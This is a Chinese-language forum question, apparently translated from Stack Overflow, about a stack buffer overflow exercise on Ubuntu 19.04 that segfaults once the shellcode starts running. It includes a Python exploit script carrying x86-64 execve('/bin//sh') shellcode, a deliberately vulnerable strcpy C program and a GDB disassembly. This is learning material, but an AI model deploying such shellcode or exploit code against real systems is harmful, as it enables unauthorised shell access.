我正在尝试在Ubuntu 19.04上执行基于堆栈的基本缓冲区溢出。
当前已禁用以下溢出对策:
基本溢出正常,在 ret 之后,rip跳到shellcode并执行第一条指令。但是,一旦执行了推送指令,程序就会崩溃(Segfault)。我是否缺少一些积极的对策,或者我的代码存在根本缺陷?
我已经使用GDB分析了崩溃。但是,当易受攻击的程序崩溃时,GDB也会崩溃。
职位代码(exp.py):
ret_addr = 0x7fffffffde90 - 0x100
scode = "\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05"
buf = scode # Shelloce
buf += "\x41" * 242 # Padding
buf += conv(ret_addr) # Return Adress = Start address of buffer
print buf
vulnerable.c:
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256];
strcpy(buf,argv[1]);
printf("Message: %s\n",buf);
return 0;
}
进入脆弱性后的GDB分析。c:
0x7fffffffdd90 xor esi,esi <- rip
0x7fffffffdd92 push rsi
0x7fffffffdd93 movabs rbx,0x68732f2f6e69622f
0x7fffffffdd9d push rbx
0x7fffffffdd9e push rsp
0x7fffffffdd9f pop rdi
0x7fffffffdda0 imul esi
0x7fffffffdda2 mov al,0x3b
0x7fffffffdda4 syscall
因此,指令流已成功重定向到shellcode。但是,在下一条指令(push rsi)上,程序会出现段错误(gdb:[5] +已停止)。